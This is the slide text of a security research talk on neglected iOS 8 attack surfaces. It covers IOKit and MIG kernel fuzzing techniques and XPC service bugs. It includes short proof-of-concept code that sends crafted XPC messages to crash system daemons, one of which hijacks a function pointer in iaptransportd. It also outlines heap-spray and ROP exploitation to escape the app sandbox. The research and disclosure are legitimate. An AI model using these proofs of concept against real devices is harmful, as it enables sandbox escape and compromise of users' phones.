Review and Exploit Neglected Attack Surface in iOS 8

Tielei Wang, Hao Xu, Xiaobo Chen of TEAM PANGU

Agenda

- * iOS Security Background
- Review of Attack Surfaces
- Fuzz More IOKit and MIG System
- Exploit Userland XPC Services
- Conclusion

iOS Security Background

- Sandbox
- Code Sign
- Exploit Mitigation
- Data Protection
- Even hypervisor ... ?

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
Userland Local Attack Surface

- USB cable
 - File access interface
 - Backup/Restore interface
 - APP management interface
 - Developer interface
- Installed app
 - Jekyll App (USENIX Security 2013)
 - Masque Attacks (FireEye Research)


Userland Remote Attack Surface

- Any network connection could be an attack surface
 - Mobile Safari
 - JailbreakMe
 - Mobile Pwn2Own
 - Messager
 - CVE-2009-2204, SMS vulnerability, Charlie Miller
 - * CVE-2015-1157, crafted Unicode text reboot bug
 - System network daemons
 - CVE-2015-1118, crafted configuration profile reboot bug

Any communication channel between the user space and the kernel is an attack surface



Take a further look



- File System
 - HFS legacy volume name stack buffer overflow
 - JailbreakMe 3 for iOS 4.2.x
 - HFS heap overflow
 - Corona for iOS 5.0

- POSIX System Calls
 - posix_spawn improperly checks file action data
 - p0sixspwn for iOS 6.1.3

- ioctl
 - Packet Filter Kernel Exploit
 - DIOCADDRULE ioctl handler improper initialization
 - Decrement value of any kernel address
 - limera1n/greenpois0n for iOS 4.1

- * /dev/*
 - ptmx_get_ioctl out-of-bounds memory access
 - No bounds check of minor number of ptmx device
 - evasi0n7 for iOS 7.0.x

- * IOKit too many 0.0
 - IOSurface
 - IOMobileFrameBuffer
 - IOUSBDeviceFamily
 - IOSharedDataQueue
 - IOHIDFamily

* ...

This Talk

- Kernel Space
 - Improve IOKit Fuzzing
 - More IOKit
 - MIG System
- User Space
 - XPC fuzzing

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iOS Kernel Fuzzing

- IOKit is the best target for kernel fuzzing
- Most IOKit fuzzers focus on IOConnectCallMethod
 - IOUserClient::externalMethod
 - IOUserClient::getTargetAndMethodForIndex

- * IOConnectCallMethod -> io_connect_method
 - * io_connect_method calls mach_msg to trap into the kernel
 - IOConnectCallMethod is just a wrapper
 - BUT affects how the kernel deals with the input/output structures
 - Size > 4096 Uses IOMemoryDescriptor to map the memory
 - Size <= 4096 Directly calls copyin/copyout to access the memory

```
if (inputStructCnt <= sizeof(io struct inband t)) {</pre>
    inb input = (void *) inputStruct;
    inb input size = (mach msg type number t) inputStructCnt;
else {
                  = reinterpret cast mach vm address t(inputStruct);
    ool input
    ool input size = inputStructCnt;
}
if (!outputCnt) {
    static uint32 t zero = 0;
    outputCnt = &zero;
}
if (outputStructCntP) {
    size t size = *outputStructCntP;
    if (size <= sizeof(io_struct_inband_t)) {</pre>
        inb output = outputStruct;
        inb output size = (mach msg type number t) size;
    else {
        ool output
                       = reinterpret cast mach vm address t(outputStruct);
        ool output size = (mach vm size t)
}
rtn = io connect method(connection,
                                            selector,
                        (uint64 t *) input, inputCnt,
                        inb input,
                                            inb input size,
                        ool input,
                                            ool input size,
                                            outputCnt,
                        output,
                        inb output,
                                            &inb output size,
                        ool output,
                                            &ool output size);
```

- Directly call io_connect_method rather than IOConnectCallMethod
 - Be able to bypass the size restriction
 - May fuzz more parts of IOKit
- Example CVE-2014-4487
 - The vulnerable code is for overly large output structures
 - But it can be triggered by very small output structures by calling io_connect_method directly

- DO NOT forget info leak bugs
 - Check possible kernel space addresses in all outputs during fuzzing

More IOKit Fuzzing

- Shared Memory
- * Traps

Shared Memory of IOKit

- IOKit can share data directly with user space apps
 - Assume user space apps know the structure of data
- User space apps just need to call IOConnectMapMemory after successfully calling IOServiceOpen
 - memoryType may be meaningful for IOKit extensions

```
kern_return_t

IOConnectMapMemory(

io_connect_t connect,

uint32_t memoryType,

task_port_t intoTask,

vm_address_t *atAddress,

vm_size_t *ofSize,

IOOptionBits options)
```

Shared Memory of IOKit

- How the kernel handles it
 - Override IOUserClient::clientMemoryForType function
 - Return an IOMemoryDescriptor object

```
IOReturn IOHIDEventServiceUserClient::clientMemoryForType(
                            UInt32
                                                         type,
                            IOOptionBits *
                                                         options,
                            IOMemoryDescriptor **
                                                         memory )
   IOReturn ret = kIOReturnNoMemory;
   if ( _queue ) {
        IOMemoryDescriptor * memoryToShare = _queue->qetMemoryDescriptor();
       if (memoryToShare)
            memoryToShare->retain();
            ret = kIOReturnSuccess;
        *options = 0;
        *memory = memoryToShare;
   return ret;
```

Example code

Shared Memory of IOKit

- Improve fuzzing
 - Try to open shared memory of IOKit
 - Randomly fill the shared memory while fuzzing io_connect_method
- Example
 - * CVE-2014-4418 IODataQueue
 - * CVE-2014-4388 IODataQueue
 - CVE-2014-4461 IOSharedDataQueue
- The kernel should not trust shared memory data that could be modified by user space apps

- User space function
 - IOConnectTrap[0-6] -> iokit_user_client_trap
 - Input
 - index function selector
 - p1~p6 six input parameters

- How the kernel handles it
 - Get the IOExternalTrap structure from index
 - Directly call the function pointer in IOExternalTrap no more checks

- IOKit extensions may override two functions
 - getTargetAndTrapForIndex <- most likely to override this
 - getExternalTrapForIndex

- Fuzzing
 - Locate overridden functions -> determine the range of index
- Tips
 - The IOExternalTrap definition is different from XNU source

```
struct IOExternalTrap {
   IOService * object;
   IOTrap     func; // if flag=0, func is real function pointer
   int       flag; // if flag=1, real function=*(IOTrap*)(vtable+func)
};
```

- Lots of API finally call mach_msg to trap into kernel
 - mach_vm_* / mach_port_* / io_connect_* / ...
 - IDA of io_service_close
 - mach_msg_header_t.msgh_id

```
typedef struct
{
   mach_msg_bits_t    msgh_bits;
   mach_msg_size_t    msgh_size;
   mach_port_t         msgh_remote_port;
   mach_port_t         msgh_local_port;
   mach_port_name_t    msgh_voucher_port;
   mach_msg_id_t         msgh_id;
} mach_msg_header_t;
```

- How the kernel handles it
 - ipc_kobject_server finds mig_hash_t structure in mig_buckets according to msgh_id

```
/*
 * Find out corresponding mig_hash entry if any
 */
{
    register int key = request->ikm_header->msgh_id;
    register int i = MIG_HASH(key);
    register int max_iter = mig_table_max_displ;

    do
        ptr = &mig_buckets[i++ % MAX_MIG_ENTRIES];
    while (key != ptr->num && ptr->num && --max_iter);
```

Call mig_hash_t.routine

```
if (ptr) {
    (*ptr->routine)(request->ikm_header, reply->ikm_header);
    kernel_task->messages_received++;
```

- Locate mig_buckets to know all valid msgh_id
 - mig_init function initializes mig_buckets
 - mig_e stores all subsystem definitions

```
for (i = 0; i < n; i++) {
    range = mig_e[i]->end - mig_e[i]->start;
    if (!mig_e[i]->start || range < 0)
        panic("the msgh_ids in mig_e[] aren't valid!");
    mig_reply_size = max(mig_reply_size, mig_e[i]->maxsize);
    for (j = 0; j < range; j++) {
      if (mig_e[i]->routine[j].stub_routine) {
        /* Only put real entries in the table */
        nentry = j + mig_e[i]->start;
        for (pos = MIG_HASH(nentry) % MAX_MIG_ENTRIES, howmany = 1;
             mig buckets[pos].num;
             pos++, pos = pos % MAX_MIG_ENTRIES, howmany++) {
             if (mig_buckets[pos].num == nentry) {
                    printf("message id = %d\n", nentry);
                    panic("multiple entries with the same msgh_id");
             if (howmany == MAX_MIG_ENTRIES)
                   panic("the mig dispatch table is too small");
        mig buckets[pos].num = nentry;
        mig_buckets[pos].routine = mig_e[i]->routine[j].stub_routine;
        if (mig_e[i]->routine[j].max_reply_msg)
                mig_buckets[pos].size = mig_e[i]->routine[j].max_reply_msg;
        else
                mig_buckets [pos].size = mig_e[i]->maxsize;
```

mig_e in XNU source

```
const struct mig_subsystem *mig_e[] = {
        (const struct mig_subsystem *)&mach_vm_subsystem,
        (const struct mig_subsystem *)&mach_port_subsystem,
        (const struct mig_subsystem *)&mach_host_subsystem,
        (const struct mig_subsystem *)&host_priv_subsystem,
        (const struct mig_subsystem *)&host_security_subsystem,
        (const struct mig_subsystem *)&clock_subsystem,
        (const struct mig_subsystem *)&clock_priv_subsystem,
        (const struct mig_subsystem *)&processor_subsystem,
        (const struct mig_subsystem *)&processor_set_subsystem,
        (const struct mig_subsystem *)&is_iokit_subsystem,
        (const struct mig_subsystem *)&memory_object_name_subsystem,
        (const struct mig_subsystem *)&lock_set_subsystem,
        (const struct mig_subsystem *)&task_subsystem,
        (const struct mig_subsystem *)&thread_act_subsystem,
#if VM32_SUPPORT
        (const struct mig_subsystem *)&vm32_map_subsystem,
#endif
        (const struct mig_subsystem *)&UNDReply_subsystem,
        (const struct mig_subsystem *)&default_pager_object_subsystem,
#if
        XK PROXY
        (const struct mig_subsystem *)&do_uproxy_xk_uproxy_subsystem,
#endif /* XK PROXY */
#if
        MACH_MACHINE_ROUTINES
        (const struct mig_subsystem *)&MACHINE_SUBSYSTEM,
#endif /* MACH_MACHINE_ROUTINES */
```

- mig_e in IDA
 - Get all useful information

```
_mig_e
                DCD mach vm subsystem
                DCD mach port subsystem
                DCD mach host subsystem
                DCD off 80393B1C
                DCD off 80393DA0
                DCD off 80393A7C
                DCD off 80393AD8
                DCD off 80394788
                DCD off 8039482C
                DCD off 803953E8
                DCD off 80393DE4
                DCD off 80394930
                DCD off 80394D34
                DCD off 80394FE8
                DCD off 80393150
                DCD off 80393034
                DCD off 803946B8
                DCD off 80394744
```

```
mach_vm_subsystem DCD sub_80051678+1
 min routine number DCD 0x12C0
 max routine number DCD 0x12D4
 max reply msg size DCD 0x1024
                 DCD 0
                 DCD 0
                 DCD sub 80052C98+1
 routine_descriptor
                 DCD 5 argc
                 DCD 0
                 DCD 0
                 DCD 0x2C max_reply_msg
                 DCD 0
                 DCD sub 80052B54+1
                 DCD 5
                 DCD 0
                 DCD 0
                 DCD 0x24
                 DCD 0
                 DCD sub_80052A60+1
                 DCD 7
                 DCD 0
                 DCD 0
                 DCD 0x24
                 DCD 0
```

- Idea of fuzzing MIG system
 - Roughly fuzzing all functions
 - Accurately fuzzing each function
 - Need to analyze the structure inside the message

IOKit Traps Oday

- * IOStreamUserClient::getTargetAndTrapForIndex
 - Restrict index <= 2 but only two IOExternalTrap elements in array!</p>
 - This code is just ... UNBELIEVABLE 0.0
- Still unfixed in iOS 8.4.1

```
int *__fastcall IOStreamUserClient__getTargetAndTrapForIndex
{
  int *result; // r0@2

  if ( a3 <= 2 )
  {
    *a2 = a1;
    result = &dword_80C0AFE8[3 * a3];
  }
  else
  {
    result = 0;
  }
  return result;
}</pre>
```


```
80C0AFE8 00 00 00 00 dword 80C0AFE8
                                     DCD 0
80COAFE8
80C0AFEC AC 03 00 00
                                     DCD 0x3AC
80C0AFF0 01 00 00 00
                                     DCD 1
80C0AFF4 00 00 00 00
                                     DCD 0
80C0AFF8 BO 03 00 00
                                     DCD 0x3B0
80C0AFFC 01 00 00 00
                                     DCD 1
80COAFFC
                     ; com.apple.iokit.IOStreamFa
80COAFFC
bol ptr:80C0B000
                             ; ------
bol ptr:80C0B000
bol ptr:80C0B000
                             ; Segment type: Regu
bol ptr:80C0B000
                                              AREA
bol ptr:80C0B000
                                              ; OR
bol ptr:80C0B000 ED 4A 2C 80 off 80C0B000
                                             DCD
bol ptr:80C0B000
bol ptr:80C0B000
bol ptr:80C0B000
bol ptr:80C0B004 59 4B 2C 80 off 80C0B004
                                             DCD
```

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IPC on iOS/OS X

iOS and Mac OS X provide a large number of IPC mechanisms



Two of most commonly used ways: Mach Message and XPC

Previous Work on Mach Message

- Mach messages are the fundamental of IPCs
 - Through mach trap mach_msg_overwrite_trap
- Mining Mach Services within OS X Sandbox. Meder Kydryraliev, 2013
- Hacking at Mach2. Dai Zovi, 2011
- Hacking at Mach Speed. Dai Zovi, 2011

XPC

- Introduced in OS X 10.7 Lion and iOS 5 in 2011
- Built on Mach messages, and simplified the low level details of IPC
 - Simple interface to look up services by name
 - Simple to send and receive asynchronous messages
 - Strongly-typed messages

Use xpc_connection_create_mach_service() to setup a named system service on iOS

The name of the service (reserved in MachServices of system plist files)

XPC_CONNECTION_MACH_SERVICE_LISTENER indicates a server

the connection handlers

the message handlers

Parse the XPC dictionary and handle the data


0 indicates a client

Create an XPC dictionary


Insert a double value in message

Send the message to the server and get a reply


XPC Dataflow



XPC Dataflow



Type Confusion Vulnerabilities



Auditing and Exploiting Apple IPC. Ian Beer, 2015

Type Confusion Vulnerabilities

```
//get an object in untrusted message
xpc_object_t value = xpc_dictionary_get_value(untrustedMessage, "key");
//presume it is an xpc_type_data and do not perform type validations.
void* ptr = xpc_data_get_bytes_ptr(value);
```


Please refer to Ian Beer's work for exploit details

Apple's Fix

```
//get an object in untrusted message
xpc_object_t value = xpc_dictionary_get_value(untrustedMessage, "key");
//presume it is an xpc_type_data and do not perform type validations.
void* ptr = xpc_data_get_bytes_ptr(value);
```

Perform type checks in all xpc_*_get_* APIs, which eliminates MANY type confusions

Our work: Focus on Data Dereference



Passive Fuzzing

- Select a target service, hook xpc_connection_set_event_handler() function to get the message handlers
- Hook the message handlers and mutate all received messages

Proactive Fuzzing

- Find all connectable services by decompiling the container sandbox profile
- Grep
 xpc_connection_create_mach_se
 rvice to identify all xpc listeners
 - * XPC_CONNECTION_MACH_ SERVICE_LISTENER

```
(0)[2ad](global-name "com.apple.iap2d")
(0) [2ae] (global-name "com.apple.iap2d.ExternalAccessory.distributednot
(0) [2af] (global-name "com.apple.iap2d.distributednotification.server")
(0)[2b0](global-name "com.apple.iap2d.xpc")
(0)[2b1](global-name "com.apple.iapauthd")
(0)[2b2](global-name "com.apple.iapauthd.xpc")
(0)[2b3](global-name "com.apple.iapd")
(0) [2b4] (global-name "com.apple.iapd.distributednotification.server")
(0)[2b5](global-name "com.apple.iapd.xpc")
(0) [2b6] (global-name "com.apple.iaptransportd")
(0) [2b7] (global-name "com.apple.iaptransportd.ExternalAccessory.distril
(0)[2b8](global-name "com.apple.iaptransportd.xpc")
(0)[2b9](global-name "com.apple.imagent.embedded.auth")
(0) [2ba] (global-name "com.apple.imavagent.embedded.auth")
(0)[2bb](global-name "com.apple.instruments.server.mig")
(0) [2bc] (global-name "com.apple.itdbprep.server")
(0)[2bd](global-name "com.apple.mDNSResponder")
(0) [2be] (global-name "com.apple.mDNSResponderHelper")
(0) [2bf] (global-name "com.apple.managedconfiguration.mdmdpush-dev")
(0) [2c0] (global-name "com.apple.managedconfiguration.mdmdpush-prod")
(0) [2c1] (global-name "com.apple.managedconfiguration.mdmdservice")
(0)[2c2](global-name "com.apple.medialibraryd.xpc")
(0) [2c3] (global-name "com.apple.mediastream.sharing")
(0) [2c4] (global-name "com.apple.mediastream.sharing-nowake")
(0) [2c5] (global-name "com.apple.midiserver")
```

Retrieve Message Keys

Use IDAPython script to find all xref of xpc_dictionary_get_* and analyze the strings in R1

```
bool

xpc_dictionary_get_bool(xpc_object_t dictionary, const char *key);

int64_t

xpc_dictionary_get_int64(xpc_object_t dictionary, const char *key);

uint64_t

xpc_dictionary_get_uint64(xpc_object_t dictionary, const char *key);

double

xpc_dictionary_get_double(xpc_object_t dictionary, const char *key);

int64_t

xpc_dictionary_get_date(xpc_object_t dictionary, const char *key);

const void *

xpc_dictionary_get_data(xpc_object_t dictionary, const char *key, size_t *length);

const uint8_t *

xpc_dictionary_get_uuid(xpc_object_t dictionary, const char *key);

const char *

xpc_dictionary_get_string(xpc_object_t dictionary, const char *key);
```

Fuzzing Results

- Run a fuzzer on iOS 8.2
 - Latest version at that moment
- Crash analysis
 - Null pointer
 - Out-of-bounds memory access
 - "remote" code execution
- Some crashes might be fixed in iOS 8.4.

Null Pointer Dereference (calaccessd)

Services presume the existence of certain keys in the messages

```
result = (void *)xpc_get_type(a2);
if ( result == &_xpc_type_dictionary )
{
    v5 = (const char *)xpc_dictionary_get_string(v3, "function");
    v6 = v5;
    v7 = strlen(v5);
```

/System/Library/Frameworks/EventKit.framework/Support/calaccess

POC

```
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.calaccessd.xpc", NULL, 0);
xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
});

xpc_connection_resume(client);

xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(dict, "message", 1);
//any message with the "function" key can trigger the crash

xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, dict);
```

Out-of-Bounds Read (CVMServer)

```
v20 = (const char *)xpc_dictionary_get_string(v2, "framework_name");
v21 = (char *)xpc_dictionary_get_string(v2, "bitcode_name");
v22 = (char *)xpc_dictionary_get_string(v2, "plugin_name");
v23 = xpc_dictionary_get_data(v2, "args", &v133);
if ( sub 8FDO((int)v12, v20, v21, v22, v23, &v132) )
signed int fastcall sub 8FDO(int a1, const char *a2, char *a3, char *a4, int a5, DWORD *a6)
 // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 v7 = &__stack_chk_guard;
  v141 = stack chk guard;
 v144 = 0;
 v145 = 0;
 if (*(_DWORD *)(a1 + 8))
    v8 = 520;
   goto LABEL_173;
 v137 = a3;
  v134 = a4;
 v132 = (void *)a1;
 v9 = *(DWORD *)(a5 + 12);
 pthread_mutex_lock((pthread_mutex_t *)aZ1k2);
 v10 = *(DWORD *)(a5 + 8);
```

POC

```
//construct and send the handshake message
xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(dict, "message", 1);
xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, dict);
xpc_dictionary_set_int64(dict, "message", 4);
xpc_dictionary_set_string(dict, "framework_name", "OpenCLCPU");
xpc_dictionary_set_string(dict, "bitcode_name", "");
xpc_dictionary_set_string(dict, "plugin_name", "");
reply = xpc_connection_send_message_with_reply_sync(client, dict);
```

```
dns_config_t * dns_configuration_copy(){
   reply = libSC send message with reply sync(dnsinfo client, regdict);
                                                                         reply is passed from the "server"
   if (reply != NULL) {
       dataRef = xpc dictionary get data(reply, DNSINFO CONFIGURATION, &dataLen);
       if (n_padding <= (DNS_CONFIG_BUF_MAX - dataLen)) {</pre>
          size t
                       len;
          len = dataLen + n_padding;
          buf = malloc(len);
          bcopy((void *)dataRef, buf, dataLen);
          bzero(&buf[dataLen], n_padding);
   }
   if (buf != NULL) {
       /* ALIGN: cast okay since _dns_config_buf_t is int aligned */
       config = expand_config((_dns_config_buf_t *)(void *)buf);
   }
     static dns config t *
     expand_config(_dns_config_buf_t *buf)
                       = &buf->attribute[ntohl(buf->n_attribute)];
          padding
          n padding = ntohl(buf->n padding);
```

```
dns_config_t * dns_configuration_copy(){
   reply = libSC_send_message_with_reply_sync(dnsinfo_client, reqdict);
   if (reply != NULL) {
       dataRef = xpc_dictionary_get_data(reply, DNSINFO_CONFIGURATION, &dataLen);
       if (n_padding <= (DNS_CONFIG_BUF_MAX - dataLen)) {</pre>
           size t
                        len;
           len = dataLen + n_padding;
           buf = malloc(len);
           bcopy((void *)dataRef, buf, dataLen);
           bzero(&buf[dataLen], n_padding);
   }
   if (buf != NULL) {
       /* ALIGN: cast okay since _dns_config_buf_t is int aligned */
       config = expand_config((_dns_config_buf_t *)(void *)buf);
   }
     static dns config t *
     expand_config(_dns_config_buf_t *buf)
                        = &buf->attribute[ntohl(buf->n_attribute)];
           padding
           n padding = ntohl(buf->n padding);
```

dataRef is retrieved from reply

```
dns_config_t * dns_configuration_copy(){
   reply = libSC_send_message_with_reply_sync(dnsinfo_client, reqdict);
   if (reply != NULL) {
       dataRef = xpc_dictionary_get_data(reply, DNSINFO_CONFIGURATION, &dataLen);
      if (n_padding <= (DNS_CONFIG_BUF_MAX - dataLen)) {</pre>
          size t
                       len;
          len = dataLen + n_padding;
          buf = malloc(len);
          bcopy((void *)dataRef, buf, dataLen);
                                                                         dataRef propagates to buf
          bzero(&buf[dataLen], n_padding);
   }
   if (buf != NULL) {
       /* ALIGN: cast okay since _dns_config_buf_t is int aligned */
                                                                     buf is passed to expand_config
       config = expand_config((_dns_config_buf_t *)(void *)buf);
   }
     static dns config t *
     expand_config(_dns_config_buf_t *buf)
                       = &buf->attribute[ntohl(buf->n_attribute)];
          padding
          n padding = ntohl(buf->n padding);
```

```
dns_config_t * dns_configuration_copy(){
   reply = libSC_send_message_with_reply_sync(dnsinfo_client, reqdict);
   if (reply != NULL) {
       dataRef = xpc_dictionary_get_data(reply, DNSINFO_CONFIGURATION, &dataLen);
      if (n_padding <= (DNS_CONFIG_BUF_MAX - dataLen)) {</pre>
          size t
                       len;
          len = dataLen + n_padding;
          buf = malloc(len);
          bcopy((void *)dataRef, buf, dataLen);
          bzero(&buf[dataLen], n_padding);
   }
   if (buf != NULL) {
       /* ALIGN: cast okay since _dns_config_buf_t is int aligned */
       config = expand_config((_dns_config_buf_t *)(void *)buf);
   }
                                                         buf->n_attribute is used as an array index
     static dns config t *
     expand_config(_dns_config_buf_t *buf)
                       = &buf->attribute[ntohl(buf->n_attribute)];
          n padding = ntohl(buf->n padding);
```

A Surprise in com.apple.iaptransportd.xpc

v29 is retrieved from an XPC message

/System/Library/PrivateFrameworks/IAP.framework/Support/iaptransport

```
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.iaptransportd.xpc", NULL, 0);
xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
});

xpc_connection_resume(client);
xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(dict, "requestType", "setPortLockout");
//requestType must be setPortLockout
xpc_dictionary_set_uint64(dict, "portID", 0xAAAAAAAA);
//*(*portID+32) will be the function pointer
xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, dict);
```

A Surprise in com.apple.iaptransportd.xpc

if (!strcmp(v6, "setPortLockout"))

result = sub 1BB5C(

v31 = (*(*v29 + 32))(v29);

(*(*v29 + 12))(v29);

*(*v29+32) is used as a function pointer

/System/Library/PrivateFrameworks/IAP.framework/Support/iaptransporto

v29 = xpc_dictionary_get_uint64(v3, "portID");

```
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.iaptransportd.xpc", NULL, 0);
xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
});

xpc_connection_resume(client);
xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(dict, "requestType", "setPortLockout");
//requestType must be setPortLockout
xpc_dictionary_set_uint64(dict, "portID", 0xAAAAAAAA);
//*(*portID+32) will be the function pointer
xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, dict);
```

How to Exploit it

- How to control *(*portID +32)
 - Heap Spraying
- Where to find ROP gadgets?
 - dyld_shared_cache is shared among all processes, and has the same layout.
- * Effects
 - Exploitable by any container app
 - Bypass the container sandbox to access the system

Agenda

- * iOS Security Background
- * Review of Attack Surfaces
- Fuzz More IOKit and MIG System
- Exploit Userland XPC Services
- * Conclusion

Conclusion

- The combination of previous techniques and new improvements may lead to new findings
- Apple puts more efforts on improving the whole security mechanisms rather than fixing individual bugs
- Reviewing all old code is necessary to Apple

Thanks for your attention

Q&A